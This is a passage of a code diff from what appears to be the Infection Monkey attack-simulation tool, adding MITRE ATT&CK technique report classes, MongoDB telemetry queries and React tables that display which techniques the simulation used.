'netstat': '$data.network_info.netstat',
|
||||
|
@ -32,7 +32,9 @@ class T1082(AttackTechnique):
|
|||
'name': {'$literal': 'SSH info'}},
|
||||
{'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]},
|
||||
'name': {'$literal': 'Azure info'}}
|
||||
]}}]
|
||||
]}},
|
||||
{'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}},
|
||||
{"$replaceRoot": {"newRoot": "$_id"}}]
|
||||
|
||||
@staticmethod
|
||||
def get_report_data():
|
||||
|
@ -40,8 +42,8 @@ class T1082(AttackTechnique):
|
|||
system_info = list(mongo.db.telemetry.aggregate(T1082.query))
|
||||
data.update({'system_info': system_info})
|
||||
if system_info:
|
||||
status = ScanStatus.USED
|
||||
status = ScanStatus.USED.value
|
||||
else:
|
||||
status = ScanStatus.UNSCANNED
|
||||
status = ScanStatus.UNSCANNED.value
|
||||
data.update(T1082.get_message_and_status(status))
|
||||
return data
|
||||
|
|
|
@ -29,8 +29,8 @@ class T1086(AttackTechnique):
|
|||
cmd_data = list(mongo.db.telemetry.aggregate(T1086.query))
|
||||
data = {'title': T1086.technique_title(), 'cmds': cmd_data}
|
||||
if cmd_data:
|
||||
status = ScanStatus.USED
|
||||
status = ScanStatus.USED.value
|
||||
else:
|
||||
status = ScanStatus.UNSCANNED
|
||||
status = ScanStatus.UNSCANNED.value
|
||||
data.update(T1086.get_message_and_status(status))
|
||||
return data
|
||||
|
|
|
@ -0,0 +1,24 @@
|
|||
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from monkey_island.cc.models import Monkey
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
class T1090(AttackTechnique):
|
||||
|
||||
tech_id = "T1090"
|
||||
unscanned_msg = "Monkey didn't use connection proxy."
|
||||
scanned_msg = ""
|
||||
used_msg = "Monkey used connection proxy."
|
||||
|
||||
@staticmethod
|
||||
def get_report_data():
|
||||
monkeys = Monkey.get_tunneled_monkeys()
|
||||
monkeys = [monkey.get_network_info() for monkey in monkeys]
|
||||
status = ScanStatus.USED.value if monkeys else ScanStatus.UNSCANNED.value
|
||||
data = T1090.get_base_data_by_status(status)
|
||||
data.update({'proxies': monkeys})
|
||||
return data
|
||||
|
||||
|
|
@ -0,0 +1,27 @@
|
|||
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
|
||||
from monkey_island.cc.database import mongo
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
class T1105(AttackTechnique):
|
||||
|
||||
tech_id = "T1105"
|
||||
unscanned_msg = "Monkey didn't try to copy files to any systems."
|
||||
scanned_msg = "Monkey tried to copy files, but failed."
|
||||
used_msg = "Monkey successfully copied files to systems on the network."
|
||||
|
||||
query = [{'$match': {'telem_category': 'attack',
|
||||
'data.technique': tech_id}},
|
||||
{'$project': {'_id': 0,
|
||||
'src': '$data.src',
|
||||
'dst': '$data.dst',
|
||||
'filename': '$data.filename'}},
|
||||
{'$group': {'_id': {'src': '$src', 'dst': '$dst', 'filename': '$filename'}}},
|
||||
{"$replaceRoot": {"newRoot": "$_id"}}]
|
||||
|
||||
@staticmethod
|
||||
def get_report_data():
|
||||
data = T1105.get_tech_base_data()
|
||||
data.update({'files': list(mongo.db.telemetry.aggregate(T1105.query))})
|
||||
return data
|
|
@ -0,0 +1,16 @@
|
|||
from monkey_island.cc.services.attack.technique_reports import UsageTechnique
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
class T1106(UsageTechnique):
|
||||
tech_id = "T1106"
|
||||
unscanned_msg = "Monkey didn't try to directly use WinAPI."
|
||||
scanned_msg = "Monkey tried to use WinAPI, but failed."
|
||||
used_msg = "Monkey successfully used WinAPI."
|
||||
|
||||
@staticmethod
|
||||
def get_report_data():
|
||||
data = T1106.get_tech_base_data()
|
||||
data.update({'api_uses': T1106.get_usage_data()})
|
||||
return data
|
|
@ -35,11 +35,11 @@ class T1110(AttackTechnique):
|
|||
result['successful_creds'].append(T1110.parse_creds(attempt))
|
||||
|
||||
if succeeded:
|
||||
status = ScanStatus.USED
|
||||
status = ScanStatus.USED.value
|
||||
elif attempts:
|
||||
status = ScanStatus.SCANNED
|
||||
status = ScanStatus.SCANNED.value
|
||||
else:
|
||||
status = ScanStatus.UNSCANNED
|
||||
status = ScanStatus.UNSCANNED.value
|
||||
data = T1110.get_base_data_by_status(status)
|
||||
# Remove data with no successful brute force attempts
|
||||
attempts = [attempt for attempt in attempts if attempt['attempts']]
|
||||
|
|
|
@ -0,0 +1,17 @@
|
|||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.services.attack.technique_reports import UsageTechnique
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
class T1129(UsageTechnique):
|
||||
tech_id = "T1129"
|
||||
unscanned_msg = "Monkey didn't try to load any DLL's."
|
||||
scanned_msg = "Monkey tried to load DLL's, but failed."
|
||||
used_msg = "Monkey successfully loaded DLL's using Windows module loader."
|
||||
|
||||
@staticmethod
|
||||
def get_report_data():
|
||||
data = T1129.get_tech_base_data()
|
||||
data.update({'dlls': T1129.get_usage_data()})
|
||||
return data
|
|
@ -23,9 +23,9 @@ class T1145(AttackTechnique):
|
|||
ssh_info = list(mongo.db.telemetry.aggregate(T1145.query))
|
||||
|
||||
if ssh_info:
|
||||
status = ScanStatus.USED
|
||||
status = ScanStatus.USED.value
|
||||
else:
|
||||
status = ScanStatus.UNSCANNED
|
||||
status = ScanStatus.UNSCANNED.value
|
||||
data = T1145.get_base_data_by_status(status)
|
||||
data.update({'ssh_info': ssh_info})
|
||||
return data
|
||||
|
|
|
@ -0,0 +1,32 @@
|
|||
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
|
||||
from monkey_island.cc.models.monkey import Monkey
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
class T1188(AttackTechnique):
|
||||
|
||||
tech_id = "T1188"
|
||||
unscanned_msg = "Monkey didn't use multi-hop proxy."
|
||||
scanned_msg = ""
|
||||
used_msg = "Monkey used multi-hop proxy."
|
||||
|
||||
@staticmethod
|
||||
def get_report_data():
|
||||
monkeys = Monkey.get_tunneled_monkeys()
|
||||
hops = []
|
||||
for monkey in monkeys:
|
||||
proxy_count = 0
|
||||
proxy = initial = monkey
|
||||
while proxy.tunnel:
|
||||
proxy_count += 1
|
||||
proxy = proxy.tunnel
|
||||
if proxy_count > 1:
|
||||
hops.append({'from': initial.get_network_info(),
|
||||
'to': proxy.get_network_info(),
|
||||
'count': proxy_count})
|
||||
status = ScanStatus.USED.value if hops else ScanStatus.UNSCANNED.value
|
||||
data = T1188.get_base_data_by_status(status)
|
||||
data.update({'hops': hops})
|
||||
return data
|
|
@ -18,11 +18,11 @@ class T1210(AttackTechnique):
|
|||
scanned_services = T1210.get_scanned_services()
|
||||
exploited_services = T1210.get_exploited_services()
|
||||
if exploited_services:
|
||||
status = ScanStatus.USED
|
||||
status = ScanStatus.USED.value
|
||||
elif scanned_services:
|
||||
status = ScanStatus.SCANNED
|
||||
status = ScanStatus.SCANNED.value
|
||||
else:
|
||||
status = ScanStatus.UNSCANNED
|
||||
status = ScanStatus.UNSCANNED.value
|
||||
data.update(T1210.get_message_and_status(status))
|
||||
data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services})
|
||||
return data
|
||||
|
|
|
@ -0,0 +1,24 @@
|
|||
from common.utils.attack_utils import ScanStatus
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
class T1222(AttackTechnique):
|
||||
tech_id = "T1222"
|
||||
unscanned_msg = "Monkey didn't try to change any file permissions."
|
||||
scanned_msg = "Monkey tried to change file permissions, but failed."
|
||||
used_msg = "Monkey successfully changed file permissions in network systems."
|
||||
|
||||
query = [{'$match': {'telem_category': 'attack',
|
||||
'data.technique': 'T1222',
|
||||
'data.status': ScanStatus.USED.value}},
|
||||
{'$group': {'_id': {'machine': '$data.machine', 'status': '$data.status', 'command': '$data.command'}}},
|
||||
{"$replaceRoot": {"newRoot": "$_id"}}]
|
||||
|
||||
@staticmethod
|
||||
def get_report_data():
|
||||
data = T1222.get_tech_base_data()
|
||||
data.update({'commands': list(mongo.db.telemetry.aggregate(T1222.query))})
|
||||
return data
|
|
@ -1,10 +1,13 @@
|
|||
import abc
|
||||
import logging
|
||||
|
||||
from monkey_island.cc.database import mongo
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||
from monkey_island.cc.services.attack.attack_config import AttackConfig
|
||||
from common.utils.code_utils import abstractstatic
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AttackTechnique(object):
|
||||
""" Abstract class for ATT&CK report components """
|
||||
|
@ -67,21 +70,21 @@ class AttackTechnique(object):
|
|||
def get_message_and_status(cls, status):
|
||||
"""
|
||||
Returns a dict with attack technique's message and status.
|
||||
:param status: Enum type value from common/attack_utils.py
|
||||
:param status: Enum from common/attack_utils.py integer value
|
||||
:return: Dict with message and status
|
||||
"""
|
||||
return {'message': cls.get_message_by_status(status), 'status': status.value}
|
||||
return {'message': cls.get_message_by_status(status), 'status': status}
|
||||
|
||||
@classmethod
|
||||
def get_message_by_status(cls, status):
|
||||
"""
|
||||
Picks a message to return based on status.
|
||||
:param status: Enum type value from common/attack_utils.py
|
||||
:param status: Enum from common/attack_utils.py integer value
|
||||
:return: message string
|
||||
"""
|
||||
if status == ScanStatus.UNSCANNED:
|
||||
if status == ScanStatus.UNSCANNED.value:
|
||||
return cls.unscanned_msg
|
||||
elif status == ScanStatus.SCANNED:
|
||||
elif status == ScanStatus.SCANNED.value:
|
||||
return cls.scanned_msg
|
||||
else:
|
||||
return cls.used_msg
|
||||
|
@ -112,3 +115,47 @@ class AttackTechnique(object):
|
|||
data = cls.get_message_and_status(status)
|
||||
data.update({'title': cls.technique_title()})
|
||||
return data
|
||||
|
||||
|
||||
class UsageTechnique(AttackTechnique):
|
||||
__metaclass__ = abc.ABCMeta
|
||||
|
||||
@staticmethod
|
||||
def parse_usages(usage):
|
||||
"""
|
||||
Parses data from database and translates usage enums into strings
|
||||
:param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1}
|
||||
:return: usage string
|
||||
"""
|
||||
try:
|
||||
usage['usage'] = UsageEnum[usage['usage']].value[usage['status']]
|
||||
except KeyError:
|
||||
logger.error("Error translating usage enum. into string. "
|
||||
"Check if usage enum field exists and covers all telem. statuses.")
|
||||
return usage
|
||||
|
||||
@classmethod
|
||||
def get_usage_data(cls):
|
||||
data = list(mongo.db.telemetry.aggregate(cls.get_usage_query()))
|
||||
return list(map(cls.parse_usages, data))
|
||||
|
||||
@classmethod
|
||||
def get_usage_query(cls):
|
||||
"""
|
||||
:return: Query that parses attack telems for simple report component
|
||||
(gets machines and attack technique usage).
|
||||
"""
|
||||
return [{'$match': {'telem_category': 'attack',
|
||||
'data.technique': cls.tech_id}},
|
||||
{'$lookup': {'from': 'monkey',
|
||||
'localField': 'monkey_guid',
|
||||
'foreignField': 'guid',
|
||||
'as': 'monkey'}},
|
||||
{'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
|
||||
'status': '$data.status',
|
||||
'usage': '$data.usage'}},
|
||||
{'$addFields': {'_id': 0,
|
||||
'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
|
||||
'monkey': 0}},
|
||||
{'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}},
|
||||
{"$replaceRoot": {"newRoot": "$_id"}}]
|
||||
|
|
|
@ -14,7 +14,7 @@ SCHEMA = {
|
|||
"SmbExploiter"
|
||||
],
|
||||
"title": "SMB Exploiter",
|
||||
"attack_techniques": ["T1110", "T1075"]
|
||||
"attack_techniques": ["T1110", "T1075", "T1035"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
|
@ -22,7 +22,7 @@ SCHEMA = {
|
|||
"WmiExploiter"
|
||||
],
|
||||
"title": "WMI Exploiter",
|
||||
"attack_techniques": ["T1110"]
|
||||
"attack_techniques": ["T1110", "T1106"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
|
@ -54,7 +54,7 @@ SCHEMA = {
|
|||
"SSHExploiter"
|
||||
],
|
||||
"title": "SSH Exploiter",
|
||||
"attack_techniques": ["T1110", "T1145"]
|
||||
"attack_techniques": ["T1110", "T1145", "T1106"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
|
@ -422,7 +422,7 @@ SCHEMA = {
|
|||
"title": "Collect system info",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"attack_techniques": ["T1082"],
|
||||
"attack_techniques": ["T1082", "T1005", "T1016"],
|
||||
"description": "Determines whether to collect system info"
|
||||
},
|
||||
"should_use_mimikatz": {
|
||||
|
|
|
@ -247,6 +247,12 @@ class NodeService:
|
|||
{'$set': props_to_set},
|
||||
upsert=False)
|
||||
|
||||
@staticmethod
|
||||
def add_communication_info(monkey, info):
|
||||
mongo.db.monkey.update({"guid": monkey["guid"]},
|
||||
{"$set": {'command_control_channel': info}},
|
||||
upsert=False)
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_island_monkey():
|
||||
ip_addresses = local_ip_addresses()
|
||||
|
|
|
@ -12,14 +12,44 @@ export function renderMachineFromSystemData(data) {
|
|||
let machineStr = data['hostname'] + " ( ";
|
||||
data['ips'].forEach(function(ipInfo){
|
||||
if(typeof ipInfo === "object"){
|
||||
machineStr += ipInfo['addr'] + " ";
|
||||
machineStr += ipInfo['addr'] + ", ";
|
||||
} else {
|
||||
machineStr += ipInfo + " ";
|
||||
machineStr += ipInfo + ", ";
|
||||
}
|
||||
});
|
||||
return machineStr + ")"
|
||||
// Replaces " ," with " )" to finish a list of IP's
|
||||
return machineStr.slice(0, -2) + " )"
|
||||
}
|
||||
|
||||
/* Formats telemetry data that contains _id.machine and _id.usage fields into columns
|
||||
for react table. */
|
||||
export function getUsageColumns() {
|
||||
return ([{
|
||||
columns: [
|
||||
{Header: 'Machine',
|
||||
id: 'machine',
|
||||
accessor: x => renderMachineFromSystemData(x.machine),
|
||||
style: { 'whiteSpace': 'unset' },
|
||||
width: 300},
|
||||
{Header: 'Usage',
|
||||
id: 'usage',
|
||||
accessor: x => x.usage,
|
||||
style: { 'whiteSpace': 'unset' }}]
|
||||
}])}
|
||||
|
||||
/* Renders table fields that contains 'used' boolean value and 'name' string value.
|
||||
'Used' value determines if 'name' value will be shown.
|
||||
*/
|
||||
export function renderUsageFields(usages){
|
||||
let output = [];
|
||||
usages.forEach(function(usage){
|
||||
if(usage['used']){
|
||||
output.push(<div key={usage['name']}>{usage['name']}</div>)
|
||||
}
|
||||
});
|
||||
return (<div>{output}</div>);
|
||||
}
|
||||
|
||||
export const ScanStatus = {
|
||||
UNSCANNED: 0,
|
||||
SCANNED: 1,
|
||||
|
|
|
@ -0,0 +1,38 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import {renderMachineFromSystemData, ScanStatus} from "./Helpers";
|
||||
|
||||
class T1005 extends React.Component {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
}
|
||||
|
||||
static getDataColumns() {
|
||||
return ([{
|
||||
Header: "Sensitive data",
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }},
|
||||
]}])};
|
||||
|
||||
render() {
|
||||
return (
|
||||
<div>
|
||||
<div>{this.props.data.message}</div>
|
||||
<br/>
|
||||
{this.props.data.status === ScanStatus.USED ?
|
||||
<ReactTable
|
||||
columns={T1005.getDataColumns()}
|
||||
data={this.props.data.collected_data}
|
||||
showPagination={false}
|
||||
defaultPageSize={this.props.data.collected_data.length}
|
||||
/> : ""}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default T1005;
|
|
@ -0,0 +1,39 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
|
||||
|
||||
|
||||
class T1016 extends React.Component {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
}
|
||||
|
||||
static getNetworkInfoColumns() {
|
||||
return ([{
|
||||
Header: "Network configuration info gathered",
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: { 'whiteSpace': 'unset' }},
|
||||
]
|
||||
}])};
|
||||
|
||||
render() {
|
||||
return (
|
||||
<div>
|
||||
<div>{this.props.data.message}</div>
|
||||
<br/>
|
||||
{this.props.data.status === ScanStatus.USED ?
|
||||
<ReactTable
|
||||
columns={T1016.getNetworkInfoColumns()}
|
||||
data={this.props.data.network_info}
|
||||
showPagination={false}
|
||||
defaultPageSize={this.props.data.network_info.length}
|
||||
/> : ""}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default T1016;
|
|
@ -0,0 +1,48 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachineFromSystemData, renderMachine, ScanStatus } from "./Helpers"
|
||||
|
||||
|
||||
class T1018 extends React.Component {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
}
|
||||
|
||||
static renderMachines(machines){
|
||||
let output = [];
|
||||
machines.forEach(function(machine){
|
||||
output.push(renderMachine(machine))
|
||||
});
|
||||
return (<div>{output}</div>);
|
||||
}
|
||||
|
||||
static getScanInfoColumns() {
|
||||
return ([{
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'First scan', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }},
|
||||
]
|
||||
}])};
|
||||
|
||||
render() {
|
||||
return (
|
||||
<div>
|
||||
<div>{this.props.data.message}</div>
|
||||
<br/>
|
||||
{this.props.data.status === ScanStatus.USED ?
|
||||
<ReactTable
|
||||
columns={T1018.getScanInfoColumns()}
|
||||
data={this.props.data.scan_info}
|
||||
showPagination={false}
|
||||
defaultPageSize={this.props.data.scan_info.length}
|
||||
/> : ""}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default T1018;
|
|
@ -0,0 +1,30 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { getUsageColumns } from "./Helpers"
|
||||
|
||||
|
||||
class T1035 extends React.Component {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
}
|
||||
|
||||
render() {
|
||||
return (
|
||||
<div>
|
||||
<div>{this.props.data.message}</div>
|
||||
<br/>
|
||||
{this.props.data.services.length !== 0 ?
|
||||
<ReactTable
|
||||
columns={getUsageColumns()}
|
||||
data={this.props.data.services}
|
||||
showPagination={false}
|
||||
defaultPageSize={this.props.data.services.length}
|
||||
/> : ""}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default T1035;
|
|
@ -0,0 +1,37 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import {ScanStatus} from "./Helpers";
|
||||
|
||||
class T1041 extends React.Component {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
}
|
||||
|
||||
static getC2Columns() {
|
||||
return ([{
|
||||
Header: "Data exfiltration channels",
|
||||
columns: [
|
||||
{Header: 'Source', id: 'src', accessor: x => x.src, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Destination', id: 'dst', accessor: x => x.dst, style: { 'whiteSpace': 'unset' }}
|
||||
]}])};
|
||||
|
||||
render() {
|
||||
return (
|
||||
<div>
|
||||
<div>{this.props.data.message}</div>
|
||||
<br/>
|
||||
{this.props.data.status === ScanStatus.USED ?
|
||||
<ReactTable
|
||||
columns={T1041.getC2Columns()}
|
||||
data={this.props.data.command_control_channel}
|
||||
showPagination={false}
|
||||
defaultPageSize={this.props.data.command_control_channel.length}
|
||||
/> : ""}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default T1041;
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
|
||||
import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
|
||||
|
||||
|
||||
class T1082 extends React.Component {
|
||||
|
@ -10,21 +10,11 @@ class T1082 extends React.Component {
|
|||
super(props);
|
||||
}
|
||||
|
||||
static renderCollections(collections){
|
||||
let output = [];
|
||||
collections.forEach(function(collection){
|
||||
if(collection['used']){
|
||||
output.push(<div key={collection['name']}>{collection['name']}</div>)
|
||||
}
|
||||
});
|
||||
return (<div>{output}</div>);
|
||||
}
|
||||
|
||||
static getSystemInfoColumns() {
|
||||
return ([{
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Gathered info', id: 'info', accessor: x => T1082.renderCollections(x.collections), style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: { 'whiteSpace': 'unset' }},
|
||||
]
|
||||
}])};
|
||||
|
||||
|
|
|
@ -0,0 +1,39 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
|
||||
|
||||
|
||||
class T1090 extends React.Component {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
}
|
||||
|
||||
static getProxyColumns() {
|
||||
return ([{
|
||||
columns: [
|
||||
{Header: 'Machines',
|
||||
id: 'machine',
|
||||
accessor: x => renderMachineFromSystemData(x),
|
||||
style: { 'whiteSpace': 'unset', textAlign: 'center' }}]}])
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
<div>
|
||||
<div>{this.props.data.message}</div>
|
||||
<br/>
|
||||
{this.props.data.status === ScanStatus.USED ?
|
||||
<ReactTable
|
||||
columns={T1090.getProxyColumns()}
|
||||
data={this.props.data.proxies}
|
||||
showPagination={false}
|
||||
defaultPageSize={this.props.data.proxies.length}
|
||||
/> : ""}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default T1090;
|
|
@ -0,0 +1,40 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { ScanStatus } from "./Helpers"
|
||||
|
||||
|
||||
class T1105 extends React.Component {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
}
|
||||
|
||||
static getFilesColumns() {
|
||||
return ([{
|
||||
Header: 'Files copied',
|
||||
columns: [
|
||||
{Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 },
|
||||
{Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170},
|
||||
{Header: 'Filename', id: 'filename', accessor: x => x.filename, style: { 'whiteSpace': 'unset'}},
|
||||
]
|
||||
}])};
|
||||
|
||||
render() {
|
||||
return (
|
||||
<div>
|
||||
<div>{this.props.data.message}</div>
|
||||
<br/>
|
||||
{this.props.data.status !== ScanStatus.UNSCANNED ?
|
||||
<ReactTable
|
||||
columns={T1105.getFilesColumns()}
|
||||
data={this.props.data.files}
|
||||
showPagination={false}
|
||||
defaultPageSize={this.props.data.files.length}
|
||||
/> : ""}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default T1105;
|
|
@ -0,0 +1,30 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { getUsageColumns } from "./Helpers"
|
||||
|
||||
|
||||
class T1106 extends React.Component {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
}
|
||||
|
||||
render() {
|
||||
return (
|
||||
<div>
|
||||
<div>{this.props.data.message}</div>
|
||||
<br/>
|
||||
{this.props.data.api_uses.length !== 0 ?
|
||||
<ReactTable
|
||||
columns={getUsageColumns()}
|
||||
data={this.props.data.api_uses}
|
||||
showPagination={false}
|
||||
defaultPageSize={this.props.data.api_uses.length}
|
||||
/> : ""}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default T1106;
|
|
@ -0,0 +1,29 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import {getUsageColumns} from "./Helpers";
|
||||
|
||||
class T1129 extends React.Component {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
}
|
||||
|
||||
render() {
|
||||
return (
|
||||
<div>
|
||||
<div>{this.props.data.message}</div>
|
||||
<br/>
|
||||
{this.props.data.dlls.length !== 0 ?
|
||||
<ReactTable
|
||||
columns={getUsageColumns()}
|
||||
data={this.props.data.dlls}
|
||||
showPagination={false}
|
||||
defaultPageSize={this.props.data.dlls.length}
|
||||
/> : ""}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default T1129;
|
|
@ -0,0 +1,49 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
|
||||
|
||||
|
||||
class T1188 extends React.Component {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
}
|
||||
|
||||
static getHopColumns() {
|
||||
return ([{
|
||||
Header: "Communications through multi-hop proxies",
|
||||
columns: [
|
||||
{Header: 'From',
|
||||
id: 'from',
|
||||
accessor: x => renderMachineFromSystemData(x.from),
|
||||
style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'To',
|
||||
id: 'to',
|
||||
accessor: x => renderMachineFromSystemData(x.to),
|
||||
style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Hops',
|
||||
id: 'hops',
|
||||
accessor: x => x.count,
|
||||
style: { 'whiteSpace': 'unset' }},
|
||||
]
|
||||
}])};
|
||||
|
||||
render() {
|
||||
return (
|
||||
<div>
|
||||
<div>{this.props.data.message}</div>
|
||||
<br/>
|
||||
{this.props.data.status === ScanStatus.USED ?
|
||||
<ReactTable
|
||||
columns={T1188.getHopColumns()}
|
||||
data={this.props.data.hops}
|
||||
showPagination={false}
|
||||
defaultPageSize={this.props.data.hops.length}
|
||||
/> : ""}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default T1188;
|
|
@ -12,22 +12,25 @@ class T1210 extends React.Component {
|
|||
|
||||
static getScanColumns() {
|
||||
return ([{
|
||||
Header: "Found services",
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
|
||||
style: { 'whiteSpace': 'unset' }, width: 200},
|
||||
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
|
||||
{Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }, width: 100},
|
||||
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
|
||||
]
|
||||
}])}
|
||||
|
||||
static getExploitColumns() {
|
||||
return ([{
|
||||
Header: "Exploited services",
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
|
||||
style: { 'whiteSpace': 'unset' }, width: 200},
|
||||
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
|
||||
{Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' },
|
||||
width: 170},
|
||||
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
|
||||
]
|
||||
}])};
|
||||
|
@ -54,7 +57,6 @@ class T1210 extends React.Component {
|
|||
return (
|
||||
<div>
|
||||
<br/>
|
||||
<div>Found services: </div>
|
||||
<ReactTable
|
||||
columns={T1210.getScanColumns()}
|
||||
